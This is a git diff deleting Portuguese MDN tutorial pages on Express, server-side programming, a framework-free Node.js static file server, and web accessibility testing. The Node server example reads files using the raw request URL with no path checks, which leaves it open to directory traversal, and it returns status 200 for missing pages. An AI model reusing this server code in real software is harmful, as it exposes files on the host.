-<p>Express makes no assumptions in terms of structure or what components you use. Routes, views, static files, and other application-specific logic can live in any number of files with any directory structure. While it is perfectly possible to have the whole <em>Express</em> application in one file, typically it makes sense to split your application into files based on function (e.g. account management, blogs, discussion boards) and architectural problem domain (e.g. model, view or controller if you happen to be using an <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">MVC architecture</a>).</p>
-
-<p>In a later topic we'll use the <em>Express Application Generator</em>, which creates a modular app skeleton that we can easily extend for creating web applications.</p>
-
-<ul>
-</ul>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>Congratulations, you've completed the first step in your Express/Node journey! You should now understand Express and Node's main benefits, and roughly what the main parts of an Express app might look like (routes, middleware, error handling, and template code). You should also understand that with Express being an unopinionated framework, the way you pull these parts together and the libraries that you use are largely up to you!</p>
-
-<p>Of course Express is deliberately a very lightweight web application framework, so much of its benefit and potential comes from third party libraries and features. We'll look at those in more detail in the following articles. In our next article we're going to look at setting up a Node development environment, so that you can start seeing some Express code in action.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="https://medium.com/@ramsunvtech/manage-multiple-node-versions-e3245d5ede44">Venkat.R - Manage Multiple Node versions</a></li>
- <li><a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs)</li>
- <li><a href="https://expressjs.com/">Express</a> (home page)</li>
- <li><a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> (Express docs)</li>
- <li><a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> (Express docs)</li>
- <li><a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li>
- <li><a href="https://expressjs.com/en/guide/using-middleware.html">Using middleware</a> (Express docs)</li>
- <li><a href="http://expressjs.com/en/guide/writing-middleware.html">Writing middleware for use in Express apps</a> (Express docs)</li>
- <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs)</li>
- <li><a href="http://expressjs.com/en/starter/static-files.html">Serving static files in Express</a> (Express docs)</li>
- <li><a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Express docs)</li>
-</ul>
-
-<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div>
-
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
- <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
-</ul>
diff --git a/files/pt-pt/learn/server-side/index.html b/files/pt-pt/learn/server-side/index.html
deleted file mode 100644
index 40460e8235..0000000000
--- a/files/pt-pt/learn/server-side/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Programação do site da Web no lado do servidor
-slug: Learn/Server-side
-tags:
- - Aprender
- - Código
- - Iniciante
- - Introdução
- - Programação no servidor
- - Scripting
- - Servidor
- - Tópico
-translation_of: Learn/Server-side
-original_slug: Learn/No-servidor
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">O tópico <strong><em>Sites da Web Dinâmicos - Programação no lado do servidor</em></strong> é uma série de módulos que mostram como criar sites da <em>web</em> dinâmicos; sites da <em>web</em> que entregam informação personalizada em resposta aos pedidos de HTTP. Os módulos proporcionam uma introdução genérica à programação no lado do servidor, bem como guias especificamente desenvolvidos para principiantes sobre como utilizar as estruturas de Django (Python) e Express (Node.js/JavaScript) para criar aplicações básicas.</p>
-
-<p>A maioria dos maiores sites da <em>web</em> utilizam algum tipo de tecnologia no lado do servidor para exibir dados diferentes, conforme o necessário. <span id="result_box">Por exemplo, imagine quantos produtos é que estão disponíveis na Amazon e imagine quantos artigos é que foram escritos no Facebook? Exibir todo este conteúdo utilizando páginas estáticas completamente diferentes seria absolutamente ineficiente, assim em vez disso, estes sites exibem modelos estáticos (criados utilizando CSS, <a href="https://developer.mozilla.org/pt-PT/docs/Learn/HTML">HTML</a> e <a href="https://developer.mozilla.org/pt-PT/docs/Learn/JavaScript">JavaScript</a>), e depois atualizam os dados dinamicamente</span>, exibindo-os dentro dos modelos quando necessário, por exemplo, quando tenta ver um produto diferente na Amazon.</p>
-
-<p>No mundo moderno do desenvolvimento da <em>web, </em>aprender sobre o desenvolvimento no lado do servidor é altamente recomendado.</p>
-
-<h2 id="Caminho_de_aprendizagem">Caminho de aprendizagem</h2>
-
-<p>Começar com programação web no servidor é, de um modo geral, mais fácil que começar com desenvolvimento no lado do cliente, pois páginas <em>web</em> dinâmicas tendem a executar operações muito similares (adquirir dados e guardar na base de dados, <span id="result_box">verificar as permissões dos usuários, registrar usuários, etc.</span>) , e são construídos utilizando <em>frameworks</em>, os quais tornam estas e outras operações de servidores <em>web</em> fáceis.</p>
-
-<p>Ter conhecimentos básicos de conceitos de programação (ou de uma linguagem de programação específica) é útil, mas não essencial. Da mesma forma, experiência com código do lado do cliente não é absolutamente necessária, mas um conhecimento básico irá ajuda-lo a trabalhar melhor com os desenvolvedores que criam o "<em>front-end</em>" do seu website.</p>
-
-<p>Precisará de compreender "como a <em>web </em>funciona". Recomendamos que comece por ler os seguintes tópicos:</p>
-
-<ul>
- <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">What is a web server</a></li>
- <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a></li>
- <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a></li>
-</ul>
-
-<p>Com a compreensão básica destes conceitos, estará pronto para continuar no seu caminho pelos módulos nesta secção.</p>
-
-<h2 id="Módulos">Módulos</h2>
-
-<p>This topic contains the following modules. You should start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web frameworks . </p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/No-servidor/Primeiros_passos">Primeiros passos na programação <em>web</em> em servidores</a></dt>
- <dd>This module provides server-technology-agnostic information about server-side website programming, including answers to fundamental questions about server-side programming — "what it is", "how it differs from client-side programming", and "why it is so useful" — and an overview of some of the more popular server-side web frameworks and guidance on how to select the most suitable for your site. Lastly we provide an introductory section on web server security.</dd>
- <dt><a href="/pt-PT/docs/Learn/No-servidor/Django">Framework da Web Django (Python)</a></dt>
- <dd>Django is an extremely popular and fully featured server-side web framework, written in Python. The module explains why Django is such a good web server framework, how to set up a development environment and how to perform common tasks with it.</dd>
- <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a></dt>
- <dd>Express is a popular web framework, written in JavaScript and hosted within the node.js runtime environment. The module explains some of the key benefits of this framework, how to set up your development environment and how to perform common web development and deployment tasks.</dd>
-</dl>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/No-servidor/Servidor_node_sem_framework">Servidor de <em>Node</em> sem uma framework</a></dt>
- <dd>Este artigo fornece um servidor de ficheiros estático simples criado com Node.js puro, para aqueles que não desejam utilizar uma framework.</dd>
-</dl>
diff --git a/files/pt-pt/learn/server-side/node_server_without_framework/index.html b/files/pt-pt/learn/server-side/node_server_without_framework/index.html
deleted file mode 100644
index 99857fe56b..0000000000
--- a/files/pt-pt/learn/server-side/node_server_without_framework/index.html
+++ /dev/null
@@ -1,95 +0,0 @@
----
-title: Servidor de Node.js sem uma framework
-slug: Learn/Server-side/Node_server_without_framework
-tags:
- - JavaScript
- - Nodo
- - Precisa de Conteúdo
- - Servidor
- - sem estrutura
-translation_of: Learn/Server-side/Node_server_without_framework
-original_slug: Learn/No-servidor/Servidor_node_sem_framework
----
-<div>{{LearnSidebar}}</div>
-
-<p> </p>
-
-<p class="summary">Este artigo fornece um servidor de ficheiros estático simples com Node.js puro, sem a utilização de uma framework.</p>
-
-<p><a href="https://nodejs.org/en/">NodeJS</a> tem muitas frameworks para ajudá-lo a ter o seu servidor configurado e a funcionar.</p>
-
-<ul>
- <li><a href="http://expressjs.com/">Express</a>: uma framework mais utilizada.</li>
- <li><a href="https://hapijs.com/">Hapi.js</a>: uma framework rica para criar aplicações e serviços</li>
- <li><a href="https://www.totaljs.com/">Total</a>: a framework de Node.js "tudo-em-um", que não depende de qualquer outra framework, ou módulo.</li>
-</ul>
-
-<p>Estas não irão corresponder a todas as situações. Um programador pode precisar de criar o seu próprio servidor sem outras dependências.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>Um servidor de ficheiros estático simples, criado com Node.js:</p>
-
-<p> </p>
-
-<pre class="brush: js">var http = require('http');
-var fs = require('fs');
-var path = require('path');
-
-http.createServer(function (request, response) {
- console.log('request ', request.url);
-
- var filePath = '.' + request.url;
- if (filePath == './') {
- filePath = './index.html';
- }
-
- var extname = String(path.extname(filePath)).toLowerCase();
- var contentType = 'text/html';
- var mimeTypes = {
-  '.html': 'text/html',
- '.js': 'text/javascript',
- '.css': 'text/css',
- '.json': 'application/json',
- '.png': 'image/png',
- '.jpg': 'image/jpg',
- '.gif': 'image/gif',
- '.wav': 'audio/wav',
- '.mp4': 'video/mp4',
- '.woff': 'application/font-woff',
- '.ttf': 'application/font-ttf',
- '.eot': 'application/vnd.ms-fontobject',
- '.otf': 'application/font-otf',
- '.svg': 'application/image/svg+xml'
- };
-
- contentType = mimeTypes[extname] || 'application/octet-stream';
-
- fs.readFile(filePath, function(error, content) {
- if (error) {
- if(error.code == 'ENOENT'){
- fs.readFile('./404.html', function(error, content) {
- response.writeHead(200, { 'Content-Type': contentType });
- response.end(content, 'utf-8');
- });
- }
- else {
- response.writeHead(500);
- response.end('Sorry, check with the site admin for error: '+error.code+' ..\n');
- response.end();
- }
- }
- else {
- response.writeHead(200, { 'Content-Type': contentType });
- response.end(content, 'utf-8');
- }
- });
-
-}).listen(8125);
-console.log('Server running at http://127.0.0.1:8125/');</pre>
-
-<p> </p>
-
-<h2 id="A_efetuar">A efetuar</h2>
-
-<p>Estenda este artigo, explicando como é que o código acima funciona. Talvez, uma versão estendida que sirva os ficheiros estáticos e lide com pedidos dinâmicos.</p>
diff --git a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html b/files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html
deleted file mode 100644
index f9199021f8..0000000000
--- a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html
+++ /dev/null
@@ -1,608 +0,0 @@
----
-title: Como tratar de problemas de acessibilidade comuns
-slug: Learn/Tools_and_testing/Cross_browser_testing/Accessibility
-translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility
-original_slug: Learn/Tools_and_testing/Teste_cruzado_de_navegador/Acessibilidade
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}</div>
-
-<p class="summary">Neste módulo, vamos falar de acessibilidade, abordando problemas frequentes, como fazer testes simples, e como utilizar ferramentas de automatização e auditoria para identificar problemas de acessibilidade.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>Familiaridade com as bases de <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, e <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>; uma ideia-base dos <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">princípios de testes <em>cross browser</em></a> de alto nível.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>Saber diagnosticar problemas comuns de acessibilidade, e saber usar as ferramentas e técnicas adequadas para resolvê-los.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="O_que_é_acessibilidade">O que é acessibilidade?</h2>
-
-<p>When we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example:</p>
-
-<ul>
- <li>Visually impaired people using screen readers or magnification/zoom to access text</li>
- <li>People with motor function impairments using the keyboard (or other non-mouse features) to activate website functionality.</li>
- <li>People with hearing impairments relying on captions/subtitles or other text alternatives for audio/video content.</li>
-</ul>
-
-<p>However, it is wrong to say that accessibility is just about disabilities. Really, the aim of accessibility is to make your websites/apps usable by as many people in as many contexts as possible, not just those users using high-powered desktop computers. Some examples might include:</p>
-
-<ul>
- <li>Users on mobile devices.</li>
- <li>Users on alternative browsing devices such as TVs, watches, etc.</li>
- <li>Users of older devices that might not have the latest browsers.</li>
- <li>Users of lower spec devices that might have slow processors.</li>
-</ul>
-
-<p>In a way, this whole module is about accessibility — cross browser testing makes sure that your sites can be used by as many people as possible. <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a> defines accessibility more completely and thoroughly than this article does.</p>
-
-<p>That said, this article will cover cross browser and testing issues surrounding people with disabilities, and how they use the Web. We've already talked about other spheres such as <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Responsive_design_problems">responsive design</a> and <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Performance_issues">performance</a> in other places in the module.</p>
-
-<div class="note">
-<p><strong>Note</strong>: Like many things in web development, accessibility isn't about 100% success or not; 100% accessibility is pretty much impossible to achieve for all content, especially as sites get more complex. Instead, it is more about making a reasonable effort to make as much of your content accessible to as many people as possible via defensive coding and sticking to best practices.</p>
-</div>
-
-<h2 id="Common_accessibility_issues">Common accessibility issues</h2>
-
-<p>In this section we'll detail some of the main issues that arise around web accessibility, connected with specific technologies, along with best practices to follow, and some quick tests you can do to see if your sites are going in the right direction.</p>
-
-<div class="note">
-<p><strong>Note</strong>: Accessibility is morally the right thing to do, and good for business (numbers of disabled users, users on mobile devices, etc. present significant market segments), but it is also a legal requirement in many parts of the world to make web content accessible to people with disabilities. Read <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">Accessibility guidelines and the law</a> for more information.</p>
-</div>
-
-<h3 id="HTML">HTML</h3>
-
-<p>Semantic HTML (where the elements are used for their correct purpose) is accessible right out of the box — such content is readable by sighted viewers (provided you don't do anything silly like make the text way too small or hide it using CSS), but will also be usable by assistive technologies like screen readers (apps that literally read out a web page to their user), and confer other advantages too.</p>
-
-<h4 id="Semantic_structure">Semantic structure</h4>
-
-<p>The most important quick win in semantic HTML is to use a structure of headings and paragraphs for your content; this is because screen reader users tend to use the headings of a document as signposts to find the content they need more quickly. If your content has no headings, all they will get is a huge wall of text with no signposts to find anything. Examples of bad and good HTML:</p>
-
-<pre class="brush: html example-bad notranslate">&lt;font size="7"&gt;My heading&lt;/font&gt;
-&lt;br&gt;&lt;br&gt;
-This is the first section of my document.
-&lt;br&gt;&lt;br&gt;
-I'll add another paragraph here too.
-&lt;br&gt;&lt;br&gt;
-&lt;font size="5"&gt;My subheading&lt;/font&gt;
-&lt;br&gt;&lt;br&gt;
-This is the first subsection of my document. I'd love people to be able to find this content!
-&lt;br&gt;&lt;br&gt;
-&lt;font size="5"&gt;My 2nd subheading&lt;/font&gt;
-&lt;br&gt;&lt;br&gt;
-This is the second subsection of my content. I think it is more interesting than the last one.</pre>
-
-<pre class="brush: html example-good notranslate">&lt;h1&gt;My heading&lt;/h1&gt;
-
-&lt;p&gt;This is the first section of my document.&lt;/p&gt;
-
-&lt;p&gt;I'll add another paragraph here too.&lt;/p&gt;
-
-&lt;h2&gt;My subheading&lt;/h2&gt;
-
-&lt;p&gt;This is the first subsection of my document. I'd love people to be able to find this content!&lt;/p&gt;
-
-&lt;h2&gt;My 2nd subheading&lt;/h2&gt;
-
-&lt;p&gt;This is the second subsection of my content. I think it is more interesting than the last one.&lt;/p&gt;</pre>
-
-<p>In addition, your content should make logical sense in its source order — you can always place it where you want using CSS later on, but you should get the source order right to start with.</p>
-
-<p>As a test, you can turn off a site's CSS and see how understandable it is without it. You could do this manually by just removing the CSS from your code, but the easiest way is to use browser features, for example:</p>
-
-<ul>
- <li>Firefox: Select <em>View &gt; Page Style &gt; No Style</em> from the main menu.</li>
- <li>Safari: Select <em>Develop &gt; Disable Styles</em> from the main menu (to enable the <em>Develop</em> menu, choose <em>Safari &gt; Preferences &gt; Advanced &gt; Show Develop menu in menu bar</em>).</li>
- <li>Chrome: Install the Web Developer Toolbar extension, then restart the browser. Click the gear icon that will appear, then select <em>CSS &gt; Disable All Styles</em>.</li>
- <li>Edge: Select <em>View &gt; Style &gt; No Style</em> from the main menu.</li>
-</ul>
-
-<h4 id="Using_native_keyboard_accessibility">Using native keyboard accessibility</h4>
-
-<p>Certain HTML features can be selected using only the keyboard — this is default behavior, available since the early days of the web. The elements that have this capability are the common ones that allow user to interact with web pages, namely links, {{htmlelement("button")}}s, and form elements like {{htmlelement("input")}}.</p>
-
-<p>You can try this out using our <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">native-keyboard-accessibility.html</a> example (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">source code</a>) — open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14215/button-focused-unfocused.png" style="border-style: solid; border-width: 1px; display: block; height: 39px; margin: 0px auto; width: 288px;"></p>
-
-<p>You can then press Enter/Return to follow a focused link or press a button (we've included some JavaScript to make the buttons alert a message), or start typing to enter text in a text input (other form elements have different controls, for example the {{htmlelement("select")}} element can have its options displayed and cycled between using the up and down arrow keys).</p>
-
-<p>Note that different browsers may have different keyboard control options available. Most modern browsers follow the tab pattern described above (you can also do Shift + Tab to move backwards through the focusable elements), but some browsers have their own idiosyncracies:</p>
-
-<ul>
- <li>Firefox for the Mac doesn't do tabbing by default. To turn it on, you have to go to <em>Preferences &gt; Advanced &gt; General</em>, then uncheck "Always use the cursor keys to navigate within pages". Next, you have to open your Mac's System Preferences app, then go to <em>Keyboard &gt; Shortcuts</em>, then select the <em>All Controls</em> radio button.</li>
- <li>Safari doesn't allow you to tab through links by default; to enable this, you need to open Safari's <em>Preferences</em>, go to Advanced, and check the <em>Press Tab to highlight each item on a webpage</em> checkbox.</li>
-</ul>
-
-<div class="warning">
-<p><strong>Important</strong>: You should perform this kind of test on any new page you write — make sure the functionality can be accessed by the keyboard.</p>
-</div>
-
-<p>This example highlights the importance of using the correct semantic element for the correct job. It is possible to style <em>any</em> element to look like a link or button with CSS, and to behave like a link or button with JavaScript, but they won't actually be links or buttons, and you'll lose a lot of the accessibility these elements give you for free. So don't do it if you can avoid it.</p>
-
-<p>Another tip — as shown in our example, you can control how your focusable elements look when focused, using the <a href="/en-US/docs/Web/CSS/:focus">:focus</a> pseudo-class. It is a good idea to double up focus and hover styles, so your users get that visual clue that a control will do something when activated, whether they are using mouse or keyboard:</p>
-
-<pre class="brush: css notranslate">a:hover, input:hover, button:hover, select:hover,
-a:focus, input:focus, button:focus, select:focus {
- font-weight: bold;
-}</pre>
-
-<div class="note">
-<p><strong>Note</strong>: If you do decide to remove the default focus styling using CSS, make sure you replace it with something else that fits in with your design better — it is a very valuable accessiblity tool, and should not be removed.</p>
-</div>
-
-<h4 id="Building_in_keyboard_accessibility">Building in keyboard accessibility</h4>
-
-<p>Sometimes it is not possible to avoid losing keyboard accessibility. You might have inherited a site where the semantics are not very good (perhaps you've ended up with a horrible CMS that generates buttons made with <code>&lt;div&gt;</code>s), or you are using a complex control that does not have keyboard accessibility built in, like the HTML5 {{htmlelement("video")}} element (amazingly, Opera is the only browser that allows you to tab through the <code>&lt;video&gt;</code> element's default browser controls). You have a few options here:</p>
-
-<ol>
- <li>Create custom controls using <code>&lt;button&gt;</code> elements (which we can tab to by default!) and JavaScript to wire up their functionality. See <a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a> for some good examples of this.</li>
- <li>Create keyboard shortcuts via JavaScript, so functionality is activated when you press certain keys on the keyboard. See <a href="/en-US/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard">Desktop mouse and keyboard controls</a> for some game-related examples that can be adapted for any purpose.</li>
- <li>Use some interesting tactics to fake button behaviour. Take for example our <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> example (see <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">source code</a>). Here we've given our fake <code>&lt;div&gt;</code> buttons the ability to be focused (including via tab) by giving each one the attribute <code>tabindex="0"</code> (see WebAIM's <a href="http://webaim.org/techniques/keyboard/tabindex">tabindex article</a> for more really useful details). This allows us to tab to the buttons, but not to activate them via the Enter/Return key. To do that, we had to add the following bit of JavaScript trickery:
- <pre class="brush: js notranslate">document.onkeydown = function(e) {
- if(e.keyCode === 13) { // The Enter/Return key
- document.activeElement.onclick(e);
- }
-};</pre>
- Here we add a listener to the <code>document</code> object to detect when a button has been pressed on the keyboard. We check what button was pressed via the event object's <a href="/en-US/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> property; if it is the keycode that matches Return/Enter, we run the function stored in the button's <code>onclick</code> handler using <code>document.activeElement.onclick()</code>. <code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> gives us the element that is currently focused on the page.</li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: This technique will only work if you set your original event handlers via event handler properties (e.g. <code>onclick</code>). <code>addEventListener</code> won't work. This is a lot of extra hassle to build the functionality back in. And there's bound to be other problems with it. Better to just use the right element for the right job in the first place.</p>
-</div>
-
-<h4 id="Text_alternatives">Text alternatives</h4>
-
-<p>Text alternatives are very important for accessibility — if a person has a visual or hearing impairment that stops them being able to see or hear some content, then this is a problem. The simplest text alternative available is the humble <code>alt</code> attribute, which we should include on all images that contain relevant content. This should contain a description of the image that successfully conveys its meaning and content on the page, to be picked up by a screenreader and read out to the user.</p>
-
-<div class="note">
-<p><strong>Note</strong>: For more information, read <a href="/en-US/docs/Learn/Accessibility/HTML#Text_alternatives">Text alternatives</a>.</p>
-</div>
-
-<p>Missing alt text can be tested for in a number of ways, for example using accessibility {{anch("Auditing tools")}}.</p>
-
-<p>Alt text is slightly more complex for video and audio content. There is a way to define text tracks (e.g. subtitles) and display them when video is being played, in the form of the {{htmlelement("track")}} element, and the <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> format (see <a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a> for a detailed tutorial). <a href="/en-US/Apps/Fundamentals/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video#Browser_Compatibility">Browser compatibility</a> for these features is fairly good, but if you want to provide text alternatives for audio or support older browsers, a simple text transcript presented somewhere on the page or on a separate page might be a good idea.</p>
-
-<h4 id="Element_relationships_and_context">Element relationships and context</h4>
-
-<p>There are certain features and best practices in HTML designed to provide context and relationships between elements where none otherwise exists. The three most common examples are links, form labels, and data tables.</p>
-
-<p>The key to accessible link text is that people using screen readers will often use a common feature whereby they pull up a list of all the links on the page. In this case, the link text needs to make sense out of context. For example, a list of links labeled "click here", "click here", etc. is really bad for accessibility. It is better for link text to make sense in context and out of context.</p>
-
-<p>Next on our list, the form {{htmlelement("label")}} element is one of the central features that allows us to make forms accessible. The trouble with forms is that you need labels to say what data should be entered into each form input. Each label needs to be included inside a {{htmlelement("label")}} to link it unambiguously to its partner form input (each <code>&lt;label&gt;</code> <code>for</code> attribute value needs to match the form element <code>id</code> value), and it will make sense even if the source order is not completely logical (which to be fair it should be).</p>
-
-<div class="note">
-<p><strong>Note</strong>: For more information about link text and form labels, read <a href="/en-US/docs/Learn/Accessibility/HTML#Meaningful_text_labels">Meaningful text labels</a>.</p>
-</div>
-
-<p>Finally, a quick word about data tables. A basic data table can be written with very simple markup (see <code>bad-table.html</code> <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/accessibility/html/bad-table.html">source</a>), but this has problems — there is no way for a screen reader user to associate rows or columns together as groupings of data — to do this you need to know what the header rows are, and if they are heading up rows, columns, etc. This can only be done visually for such a table.</p>
-
-<p>If you instead look at our <code>punk-bands-complete.html</code> example (<a href="https://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">live</a>, <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html">source</a>), you can see a few accessibility aids at work here, such as table headers ({{htmlelement("th")}} and <code>scope</code> attributes), {{htmlelement("caption")}} element, etc.</p>
-
-<div class="note">
-<p><strong>Note</strong>: For more information about accessible tables, read <a href="/en-US/docs/Learn/Accessibility/HTML#Accessible_data_tables">Accessible data tables</a>.</p>
-</div>
-
-<h3 id="CSS">CSS</h3>
-
-<p>CSS tends to provide a lot fewer fundamental accessibility features than HTML, but it can still do just as much damage to accessibility if used incorrectly. We have already mentioned a couple of accessibility tips involving CSS:</p>
-
-<ul>
- <li>Use the correct semantic elements to mark up different content in HTML; if you want to create a different visual effect, use CSS — don't abuse an HTML element to get the look you want. For example, if you want bigger text, use {{cssxref("font-size")}}, not an {{htmlelement("h1")}} element.</li>
- <li>Make sure your source order makes sense without CSS; you can always use CSS to style the page any way you want afterward.</li>
- <li>You should make sure interactive elements like buttons and links have appropriate focus/hover/active states set, to give the user visual clues as to their function. If you remove the defaults for stylistic reasons, make sure you include some replacement styles.</li>
-</ul>
-
-<p>There are a few other considerations you should take into account.</p>
-
-<h4 id="Color_and_color_contrast">Color and color contrast</h4>
-
-<p>When choosing a color scheme for your website, you should make sure that the text (foreground) color contrasts well with the background color. Your design might look cool, but it is no good if people with visual impairments like color blindness can't read your content. Use a tool like WebAIM's <a href="http://webaim.org/resources/contrastchecker/">Color Contrast Checker</a> to check whether your scheme is contrasting enough.</p>
-
-<p>Another tip is to not rely on color alone for signposts/information, as this will be no good for those who can't see the color. Instead of marking required form fields in red, for example, mark them with an asterisk and in red.</p>
-
-<div class="note">
-<p><strong>Note</strong>: A high contrast ratio will also allow anyone using a smartphone or tablet with a glossy screen to better read pages when in a bright environment, such as sunlight.</p>
-</div>
-
-<h4 id="Hiding_content">Hiding content</h4>
-
-<p>There are many instances where a visual design will require that not all content is shown at once. For example, in our <a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">Tabbed info box example</a> (see <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">source code</a>) we have three panels of information, but we are <a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">positioning</a> them on top of one another and providing tabs that can be clicked to show each one (it is also keyboard accessible — you can alternatively use Tab and Enter/Return to select them).</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16918/20191022144107.png" style="display: block; height: 1131px; margin: 0px auto; max-width: 450px; width: 1272px;"></p>
-
-<p>Screen reader users don't care about any of this — they are happy with the content as long as the source order makes sense, and they can get to it all. Absolute positioning (as used in this example) is generally seen as one of the best mechanisms of hiding content for visual effect, because it doesn't stop screen readers from getting to it.</p>
-
-<p>On the other hand, you shouldn't use {{cssxref("visibility")}}<code>:hidden</code> or {{cssxref("display")}}<code>:none</code>, because they do hide content from screenreaders. Unless of course, there is a good reason why you want this content to be hidden from screenreaders.</p>
-
-<div class="note">
-<p><strong>Note</strong>: <span class="subtitle"><a href="http://webaim.org/techniques/css/invisiblecontent/">Invisible Content Just for Screen Reader Users</a> has a lot more useful detail surrounding this topic.</span></p>
-</div>
-
-<h3 id="JavaScript">JavaScript</h3>
-
-<p>JavaScript has the same kind of problems as CSS with respect to accessibility — it can be disastrous for accessibility if used badly, or overused. We've already hinted at some accessibility problems related to JavaScript, mainly in the area of semantic HTML — you should always use appropriate semantic HTML to implement functionality wherever it is available, for example use links and buttons as appropriate. Don't use <code>&lt;div&gt;</code> elements with JavaScript code to fake functionality if at all possible — it is error prone, and more work than using the free functionality HTML gives you.</p>
-
-<h4 id="Simple_functionality">Simple functionality</h4>
-
-<p>Generally simple functionality should work with just the HTML in place — JavaScript should only be used to enhance functionality, not build it in entirely. Good uses of JavaScript include:</p>
-
-<ul>
- <li>Providing client-side form validation, which alerts users to problems with their form entries quickly, without having to wait for the server to check the data. If it isn't available, the form will still work, but validation might be slower.</li>
- <li>Providing custom controls for HTML5 <code>&lt;video&gt;</code>s that are accessible to keyboard-only users (as we said earlier, the default browser controls aren't keyboard-accessible in most browsers).</li>
-</ul>
-
-<div class="note">
